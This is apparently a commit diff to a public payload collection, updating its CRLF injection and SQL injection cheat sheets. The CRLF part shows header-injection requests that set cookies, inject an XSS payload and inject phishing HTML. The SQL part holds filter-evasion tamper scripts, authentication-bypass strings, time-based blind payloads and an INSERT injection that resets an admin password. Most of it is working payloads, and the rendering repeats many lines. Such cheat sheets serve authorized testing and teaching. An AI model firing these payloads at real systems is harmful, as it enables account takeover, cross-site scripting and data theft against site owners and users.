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CRLF injection updated

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Swissky 2017-05-29 20:41:05 +02:00
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43
CRLF injection/README.md
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@ -1,7 +1,7 @@
# CRLF
The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.
A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.
## CRLF - Add a cookie
Requested page
@ -9,13 +9,13 @@ Requested page
http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue
```
HTTP Response
HTTP Response
```
Connection: keep-alive
Content-Length: 178
Content-Type: text/html
Date: Mon, 09 May 2016 14:47:29 GMT
Location: https://www.example.net/
Location: https://www.example.net/[INJECTION STARTS HERE]
Set-Cookie: mycookie=myvalue
X-Frame-Options: SAMEORIGIN
X-Sucuri-ID: 15016
@ -23,6 +23,34 @@ x-content-type-options: nosniff
x-xss-protection: 1; mode=block
```
## CRLF - Add a cookie - XSS Bypass
Requested page
```
http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
```
HTTP Response
```
HTTP/1.1 200 OK
Date: Tue, 20 Dec 2016 14:34:03 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 22907
Connection: close
X-Frame-Options: SAMEORIGIN
Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT
ETag: "842fe-597b-54415a5c97a80"
Vary: Accept-Encoding
X-UA-Compatible: IE=edge
Server: NetDNA-cache/2.2
Link: <https://example.com/[INJECTION STARTS HERE]
Content-Length:35
X-XSS-Protection:0
23
<svg onload=alert(document.domain)>
0
```
## CRLF - Write HTML
Requested page
```
@ -33,14 +61,14 @@ HTTP response
```
Set-Cookie:en
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
Content-Length: 34
<html>You have been Phished</html>```
<html>You have been Phished</html>
```
## CRLF - Filter Bypass
Using UTF-8 encoding
@ -57,4 +85,5 @@ Remainder:
## Thanks to
* https://www.owasp.org/index.php/CRLF_Injection
* https://www.owasp.org/index.php/CRLF_Injection
* https://vulners.com/hackerone/H1:192749

113
SQL injection/README.md
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@ -1,5 +1,5 @@
# SQL injection
A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application
A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application
## Entry point detection
@ -20,6 +20,7 @@ Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')
Wildcard (*)
```
@ -43,53 +44,53 @@ tamper=name_of_the_tamper
| Tamper | Description |
| --- | --- |
|apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart |
|apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart|
|appendnullbyte.py | Appends encoded NULL byte character at the end of payload |
|base64encode.py | Base64 all characters in a given payload |
|between.py | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' |
|bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator |
|chardoubleencode.py | Double url-encodes all characters in a given payload (not processing already encoded) |
|commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'|
|commalessmid.py | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'|
|concat2concatws.py | Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'|
|charencode.py | Url-encodes all characters in a given payload (not processing already encoded) |
|charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded) |
|equaltolike.py | Replaces all occurances of operator equal ('=') with operator 'LIKE' |
|escapequotes.py | Slash escape quotes (' and ") |
|greatest.py | Replaces greater than operator ('>') with 'GREATEST' counterpart |
|halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword |
|ifnull2ifisnull.py | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'|
|modsecurityversioned.py | Embraces complete query with versioned comment |
|modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment |
|multiplespaces.py | Adds multiple spaces around SQL keywords |
|nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters|
|percentage.py | Adds a percentage sign ('%') infront of each character |
|overlongutf8.py | Converts all characters in a given payload (not processing already encoded) |
|randomcase.py | Replaces each keyword character with random case value |
|randomcomments.py | Add random comments to SQL keywords|
|securesphere.py | Appends special crafted string|
|sp_password.py | Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs |
|space2comment.py | Replaces space character (' ') with comments |
|space2dash.py | Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') |
|space2hash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') |
|space2morehash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') |
|space2mssqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
|space2mssqlhash.py | Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') |
|space2mysqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
|space2mysqldash.py | Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') |
|space2plus.py | Replaces space character (' ') with plus ('+') |
|space2randomblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
|symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts (&& and ||) |
|unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT |
|unmagicquotes.py | Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) |
|uppercase.py | Replaces each keyword character with upper case value 'INSERT'|
|varnish.py | Append a HTTP header 'X-originating-IP' |
|versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment |
|apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart |
|apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart|
|appendnullbyte.py | Appends encoded NULL byte character at the end of payload |
|base64encode.py | Base64 all characters in a given payload |
|between.py | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' |
|bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator |
|chardoubleencode.py | Double url-encodes all characters in a given payload (not processing already encoded) |
|commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'|
|commalessmid.py | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'|
|concat2concatws.py | Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'|
|charencode.py | Url-encodes all characters in a given payload (not processing already encoded) |
|charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded) |
|equaltolike.py | Replaces all occurances of operator equal ('=') with operator 'LIKE' |
|escapequotes.py | Slash escape quotes (' and ") |
|greatest.py | Replaces greater than operator ('>') with 'GREATEST' counterpart |
|halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword |
|ifnull2ifisnull.py | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'|
|modsecurityversioned.py | Embraces complete query with versioned comment |
|modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment |
|multiplespaces.py | Adds multiple spaces around SQL keywords |
|nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters|
|percentage.py | Adds a percentage sign ('%') infront of each character |
|overlongutf8.py | Converts all characters in a given payload (not processing already encoded) |
|randomcase.py | Replaces each keyword character with random case value |
|randomcomments.py | Add random comments to SQL keywords|
|securesphere.py | Appends special crafted string|
|sp_password.py | Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs |
|space2comment.py | Replaces space character (' ') with comments |
|space2dash.py | Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') |
|space2hash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') |
|space2morehash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') |
|space2mssqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
|space2mssqlhash.py | Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') |
|space2mysqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
|space2mysqldash.py | Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') |
|space2plus.py | Replaces space character (' ') with plus ('+') |
|space2randomblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
|symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts (&& and ||) |
|unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT |
|unmagicquotes.py | Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) |
|uppercase.py | Replaces each keyword character with upper case value 'INSERT'|
|varnish.py | Append a HTTP header 'X-originating-IP' |
|versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment |
|versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment |
|xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For'|
## Authentication bypass
## Authentication bypass
```
'-'
' '
@ -123,7 +124,7 @@ or true--
") or ("x")=("x
")) or (("x"))=(("x
or 1=1
or 1=1--
or 1=1--
or 1=1#
or 1=1/*
admin' --
@ -173,9 +174,9 @@ admin") or "1"="1"/*
## Time based
```
SQLite : AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) comment: -- /**/
MySQL/MariaDB : AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) //SHA1 comment: # -- /*!30100 MySQL code*/
MySQL/MariaDB : RLIKE SLEEP([SLEEPTIME]) comment: # -- /*!30100 MySQL code*/
MySQL/MariaDB : OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) comment: # -- /*!30100 MySQL code*/
MySQL/MariaDB : AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) //SHA1 comment: # -- /*!30100 MySQL code*/
MySQL/MariaDB : RLIKE SLEEP([SLEEPTIME]) comment: # -- /*!30100 MySQL code*/
MySQL/MariaDB : OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) comment: # -- /*!30100 MySQL code*/
Oracle : AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) comment: -- /**/
PostGreSQL : AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) comment: -- /**/
PostGreSQL : AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) comment: -- /**/
@ -187,18 +188,18 @@ SQL Server : IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```
## Insert Statement - ON DUPLICATE KEY UPDATE
## Insert Statement - ON DUPLICATE KEY UPDATE
ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:
```
Inject using payload:
attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --
The query would look like this:
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");
This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".
After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!
```
@ -228,7 +229,7 @@ No Whitespace - bypass using parenthesis
No Comma - bypass using OFFSET, FROM and JOIN
```
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```
@ -316,4 +317,4 @@ mysql> mysql> select version();
- [SQLite3 Injection Cheat sheet] (https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet)
- [Ruby on Rails (Active Record) SQL Injection Guide] (http://rails-sqli.org/)
- [ForkBombers SQLMap Tamper Scripts Update](http://www.forkbombers.com/2016/07/sqlmap-tamper-scripts-update.html)
- [SQLi in INSERT worse than SELECT](https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/)
- [SQLi in INSERT worse than SELECT](https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/)